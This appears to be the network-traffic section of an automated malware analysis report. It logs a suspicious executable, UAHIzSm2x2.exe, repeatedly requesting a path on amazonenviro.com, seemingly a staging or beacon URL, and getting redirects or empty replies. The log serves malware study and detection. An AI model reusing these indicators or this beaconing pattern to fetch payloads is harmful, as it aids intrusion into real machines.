Jan 14, 2025 08:25:55.532463074 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:55 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:57.192383051 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:57.502397060 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:57 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:25:59.107225895 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:25:59.417500973 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:25:59 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:01.033447981 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:01.344388008 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:01 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:02.983891964 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:03.294997931 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:03 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:04.922523022 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:05.233359098 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:05 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:06.849942923 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:07.160624981 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:07 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:08.768636942 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:09.078969955 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:08 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>
Jan 14, 2025 08:26:10.706983089 CET	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
Jan 14, 2025 08:26:11.017462969 CET	500	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 14 Jan 2025 07:26:10 GMT Server: Apache Location: https://amazonenviro.com/245_Aiymwhpjxsg Content-Length: 248 Keep-Alive: timeout=5 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 6d 61 7a 6f 6e 65 6e 76 69 72 6f 2e 63 6f 6d 2f 32 34 35 5f 41 69 79 6d 77 68 70 6a 78 73 67 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://amazonenviro.com/245_Aiymwhpjxsg">here</a>.</p></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49718	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:10 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:10 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:10 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49736	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:12 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:12 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:12 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49748	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:14 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:14 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:14 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49761	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:16 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:16 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:16 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49777	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:18 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:18 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:18 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49794	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:20 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:20 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:20 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49806	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:22 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:22 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:22 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49824	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:24 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:24 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:24 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49841	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:26 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:26 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:26 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49856	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:28 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:28 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:28 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49871	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:30 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:30 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:30 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49881	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:32 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:32 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:32 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49896	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:34 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:34 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:34 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49909	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:35 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:36 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:36 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49926	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:37 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
2025-01-14 07:24:38 UTC	225	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 07:24:38 GMT Server: Apache X-Powered-By: PHP/7.3.33 Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49941	166.62.27.188	443	6228	C:\Users\user\Desktop\UAHIzSm2x2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 07:24:39 UTC	165	OUT	GET /245_Aiymwhpjxsg HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: amazonenviro.com
